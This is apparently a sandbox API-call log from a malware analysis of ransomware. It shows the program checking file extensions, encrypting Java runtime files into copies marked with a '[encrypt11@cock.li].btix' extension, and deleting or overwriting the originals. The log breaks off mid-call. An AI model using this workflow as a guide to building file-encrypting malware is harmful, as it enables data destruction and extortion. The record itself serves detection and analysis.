[0150.216] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0150.216] lstrlenW (lpString=".1cd") returned 4 [0150.216] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0150.216] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0150.216] lstrlenW (lpString=".jpg") returned 4 [0150.216] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0150.216] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0150.216] lstrlenW (lpString="nio.dll") returned 7 [0150.216] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0150.217] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=60480) returned 1 [0150.217] CloseHandle (hObject=0x374) returned 1 [0150.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll")) returned 0x20 [0150.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.217] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0150.217] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.217] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.217] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0150.218] GetLastError () returned 0x0 [0150.218] ReadFile (in: hFile=0x374, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0xec40, lpOverlapped=0x0) returned 1 [0150.315] WriteFile (in: hFile=0x34c, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xec50, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xec50, lpOverlapped=0x0) returned 1 [0150.558] ReadFile (in: hFile=0x374, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.558] WriteFile (in: hFile=0x34c, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xe2, lpOverlapped=0x0) returned 1 [0150.558] SetEndOfFile (hFile=0x34c) returned 1 [0150.558] CloseHandle (hObject=0x34c) returned 1 [0150.558] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.558] SetEndOfFile (hFile=0x374) returned 1 [0150.559] CloseHandle (hObject=0x374) returned 1 [0150.559] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0150.559] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll")) returned 1 [0150.560] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0150.560] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0150.560] lstrlenW (lpString=".doc") returned 4 [0150.560] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0150.560] lstrlenW (lpString=".docx") returned 5 [0150.560] lstrcmpiW (lpString1=".docx", lpString2="o.dll") returned -1 [0150.560] lstrlenW (lpString=".pdf") returned 4 [0150.560] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0150.560] lstrlenW (lpString=".xls") returned 4 [0150.560] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0150.560] lstrlenW (lpString=".xlsx") returned 5 [0150.560] lstrcmpiW (lpString1=".xlsx", lpString2="o.dll") returned -1 [0150.560] lstrlenW (lpString=".ppt") returned 4 [0150.560] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0150.560] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0150.560] lstrlenW (lpString=".zip") returned 4 [0150.560] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0150.560] lstrlenW (lpString=".rar") returned 4 [0150.560] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0150.560] lstrlenW (lpString=".bz2") returned 4 [0150.560] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0150.560] lstrlenW (lpString=".7z") returned 3 [0150.560] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0150.560] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0150.560] lstrlenW (lpString=".dbf") returned 4 [0150.561] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0150.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0150.561] lstrlenW (lpString=".1cd") returned 4 [0150.561] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0150.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0150.561] lstrlenW (lpString=".jpg") returned 4 [0150.561] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0150.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0150.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0150.561] lstrlenW (lpString=".doc") returned 4 [0150.561] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0150.561] lstrlenW (lpString=".docx") returned 5 [0150.561] lstrcmpiW (lpString1=".docx", lpString2="o.dll") returned -1 [0150.561] lstrlenW (lpString=".pdf") returned 4 [0150.561] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0150.561] lstrlenW (lpString=".xls") returned 4 [0150.561] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0150.561] lstrlenW (lpString=".xlsx") returned 5 [0150.561] lstrcmpiW (lpString1=".xlsx", lpString2="o.dll") returned -1 [0150.561] lstrlenW (lpString=".ppt") returned 4 [0150.561] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0150.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0150.561] lstrlenW (lpString=".zip") returned 4 [0150.561] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0150.561] lstrlenW (lpString=".rar") returned 4 [0150.561] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0150.561] lstrlenW (lpString=".bz2") returned 4 [0150.561] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0150.561] lstrlenW (lpString=".7z") returned 3 [0150.562] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0150.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0150.562] lstrlenW (lpString=".dbf") returned 4 [0150.562] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0150.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0150.562] lstrlenW (lpString=".1cd") returned 4 [0150.562] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0150.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0150.562] lstrlenW (lpString=".jpg") returned 4 [0150.562] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0150.562] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0150.562] lstrlenW (lpString="msvcr100.dll") returned 12 [0150.562] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0150.563] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=829264) returned 1 [0150.563] CloseHandle (hObject=0x374) returned 1 [0150.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll")) returned 0x20 [0150.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.564] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0150.564] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.564] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.564] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0150.564] GetLastError () returned 0x0 [0150.564] ReadFile (in: hFile=0x374, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0xca750, lpOverlapped=0x0) returned 1 [0150.626] WriteFile (in: hFile=0x34c, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xca760, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xca760, lpOverlapped=0x0) returned 1 [0150.651] ReadFile (in: hFile=0x374, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.651] WriteFile (in: hFile=0x34c, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xec, lpOverlapped=0x0) returned 1 [0150.651] SetEndOfFile (hFile=0x34c) returned 1 [0150.658] CloseHandle (hObject=0x34c) returned 1 [0150.658] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.658] SetEndOfFile (hFile=0x374) returned 1 [0150.794] CloseHandle (hObject=0x374) returned 1 [0151.045] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0151.045] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll")) returned 1 [0151.045] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0151.045] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0151.045] lstrlenW (lpString=".doc") returned 4 [0151.045] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0151.045] lstrlenW (lpString=".docx") returned 5 [0151.045] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0151.045] lstrlenW (lpString=".pdf") returned 4 [0151.045] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0151.046] lstrlenW (lpString=".xls") returned 4 [0151.046] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0151.046] lstrlenW (lpString=".xlsx") returned 5 [0151.046] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0151.046] lstrlenW (lpString=".ppt") returned 4 [0151.046] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0151.046] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0151.046] lstrlenW (lpString=".zip") returned 4 [0151.046] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0151.046] lstrlenW (lpString=".rar") returned 4 [0151.046] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0151.046] lstrlenW (lpString=".bz2") returned 4 [0151.046] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0151.046] lstrlenW (lpString=".7z") returned 3 [0151.046] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0151.046] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0151.046] lstrlenW (lpString=".dbf") returned 4 [0151.046] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0151.046] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0151.046] lstrlenW (lpString=".1cd") returned 4 [0151.046] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0151.046] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0151.046] lstrlenW (lpString=".jpg") returned 4 [0151.046] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0151.046] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0151.046] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0151.046] lstrlenW (lpString=".doc") returned 4 [0151.046] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0151.046] lstrlenW (lpString=".docx") returned 5 [0151.047] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0151.047] lstrlenW (lpString=".pdf") returned 4 [0151.047] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0151.047] lstrlenW (lpString=".xls") returned 4 [0151.047] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0151.047] lstrlenW (lpString=".xlsx") returned 5 [0151.047] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0151.047] lstrlenW (lpString=".ppt") returned 4 [0151.047] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0151.047] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0151.047] lstrlenW (lpString=".zip") returned 4 [0151.047] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0151.047] lstrlenW (lpString=".rar") returned 4 [0151.047] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0151.047] lstrlenW (lpString=".bz2") returned 4 [0151.047] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0151.047] lstrlenW (lpString=".7z") returned 3 [0151.047] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0151.047] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0151.047] lstrlenW (lpString=".dbf") returned 4 [0151.047] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0151.047] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0151.047] lstrlenW (lpString=".1cd") returned 4 [0151.047] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0151.047] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0151.047] lstrlenW (lpString=".jpg") returned 4 [0151.047] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0151.048] lstrcmpiW (lpString1=".jsa", lpString2=".btix") returned 1 [0151.048] lstrlenW (lpString="classes.jsa") returned 11 [0151.048] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0151.048] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=18677760) returned 1 [0151.048] CloseHandle (hObject=0x3a4) returned 1 [0151.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa")) returned 0x21 [0151.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa", dwFileAttributes=0x20) returned 1 [0151.048] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0151.049] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0151.049] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc64 | out: lpNewFilePointer=0x0) returned 1 [0151.049] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc24 | out: lpNewFilePointer=0x0) returned 1 [0151.049] ReadFile (in: hFile=0x3a4, lpBuffer=0x3f4a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f4a058*, lpNumberOfBytesRead=0x351fc30*=0x40000, lpOverlapped=0x0) returned 1 [0151.050] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x5f0000, lpNewFilePointer=0x0, dwMoveMethod=0x351fc24 | out: lpNewFilePointer=0x0) returned 1 [0151.050] ReadFile (in: hFile=0x3a4, lpBuffer=0x3f8a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f8a058*, lpNumberOfBytesRead=0x351fc30*=0x40000, lpOverlapped=0x0) returned 1 [0151.055] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x351fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.055] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x1190000, lpNewFilePointer=0x0, dwMoveMethod=0x351fc24 | out: lpNewFilePointer=0x0) returned 1 [0151.055] ReadFile (in: hFile=0x3a4, lpBuffer=0x3fca058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc30, lpOverlapped=0x0 | out: lpBuffer=0x3fca058*, lpNumberOfBytesRead=0x351fc30*=0x40000, lpOverlapped=0x0) returned 1 [0151.067] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.067] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x351fca8, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fca8*=0xc0102, lpOverlapped=0x0) returned 1 [0151.080] SetEndOfFile (hFile=0x3a4) returned 1 [0151.080] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40000) returned 0x42bdde8 [0151.083] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc74 | out: lpNewFilePointer=0x0) returned 1 [0151.083] WriteFile (in: hFile=0x3a4, lpBuffer=0x42bdde8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x351fc80, lpOverlapped=0x0 | out: lpBuffer=0x42bdde8*, lpNumberOfBytesWritten=0x351fc80*=0x40000, lpOverlapped=0x0) returned 1 [0151.439] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x5f0000, lpNewFilePointer=0x0, dwMoveMethod=0x351fc74 | out: lpNewFilePointer=0x0) returned 1 [0151.439] WriteFile (in: hFile=0x3a4, lpBuffer=0x42bdde8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x351fc80, lpOverlapped=0x0 | out: lpBuffer=0x42bdde8*, lpNumberOfBytesWritten=0x351fc80*=0x40000, lpOverlapped=0x0) returned 1 [0151.443] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x1190000, lpNewFilePointer=0x0, dwMoveMethod=0x351fc74 | out: lpNewFilePointer=0x0) returned 1 [0151.443] WriteFile (in: hFile=0x3a4, lpBuffer=0x42bdde8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x351fc80, lpOverlapped=0x0 | out: lpBuffer=0x42bdde8*, lpNumberOfBytesWritten=0x351fc80*=0x40000, lpOverlapped=0x0) returned 1 [0151.445] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42bdde8 | out: hHeap=0x660000) returned 1 [0151.447] CloseHandle (hObject=0x3a4) returned 1 [0151.447] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x21) returned 1 [0151.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0151.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0151.448] lstrlenW (lpString=".doc") returned 4 [0151.448] lstrcmpiW (lpString1=".doc", lpString2=".jsa") returned -1 [0151.448] lstrlenW (lpString=".docx") returned 5 [0151.448] lstrcmpiW (lpString1=".docx", lpString2="s.jsa") returned -1 [0151.448] lstrlenW (lpString=".pdf") returned 4 [0151.448] lstrcmpiW (lpString1=".pdf", lpString2=".jsa") returned 1 [0151.448] lstrlenW (lpString=".xls") returned 4 [0151.448] lstrcmpiW (lpString1=".xls", lpString2=".jsa") returned 1 [0151.448] lstrlenW (lpString=".xlsx") returned 5 [0151.448] lstrcmpiW (lpString1=".xlsx", lpString2="s.jsa") returned -1 [0151.448] lstrlenW (lpString=".ppt") returned 4 [0151.448] lstrcmpiW (lpString1=".ppt", lpString2=".jsa") returned 1 [0151.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0151.448] lstrlenW (lpString=".zip") returned 4 [0151.448] lstrcmpiW (lpString1=".zip", lpString2=".jsa") returned 1 [0151.448] lstrlenW (lpString=".rar") returned 4 [0151.448] lstrcmpiW (lpString1=".rar", lpString2=".jsa") returned 1 [0151.448] lstrlenW (lpString=".bz2") returned 4 [0151.448] lstrcmpiW (lpString1=".bz2", lpString2=".jsa") returned -1 [0151.448] lstrlenW (lpString=".7z") returned 3 [0151.448] lstrcmpiW (lpString1=".7z", lpString2="jsa") returned -1 [0151.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0151.449] lstrlenW (lpString=".dbf") returned 4 [0151.449] lstrcmpiW (lpString1=".dbf", lpString2=".jsa") returned -1 [0151.449] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0151.449] lstrlenW (lpString=".1cd") returned 4 [0151.449] lstrcmpiW (lpString1=".1cd", lpString2=".jsa") returned -1 [0151.449] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0151.449] lstrlenW (lpString=".jpg") returned 4 [0151.449] lstrcmpiW (lpString1=".jpg", lpString2=".jsa") returned -1 [0151.449] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0151.449] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0151.449] lstrlenW (lpString=".doc") returned 4 [0151.449] lstrcmpiW (lpString1=".doc", lpString2=".jsa") returned -1 [0151.449] lstrlenW (lpString=".docx") returned 5 [0151.449] lstrcmpiW (lpString1=".docx", lpString2="s.jsa") returned -1 [0151.449] lstrlenW (lpString=".pdf") returned 4 [0151.449] lstrcmpiW (lpString1=".pdf", lpString2=".jsa") returned 1 [0151.449] lstrlenW (lpString=".xls") returned 4 [0151.449] lstrcmpiW (lpString1=".xls", lpString2=".jsa") returned 1 [0151.449] lstrlenW (lpString=".xlsx") returned 5 [0151.449] lstrcmpiW (lpString1=".xlsx", lpString2="s.jsa") returned -1 [0151.449] lstrlenW (lpString=".ppt") returned 4 [0151.449] lstrcmpiW (lpString1=".ppt", lpString2=".jsa") returned 1 [0151.449] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0151.449] lstrlenW (lpString=".zip") returned 4 [0151.449] lstrcmpiW (lpString1=".zip", lpString2=".jsa") returned 1 [0151.449] lstrlenW (lpString=".rar") returned 4 [0151.449] lstrcmpiW (lpString1=".rar", 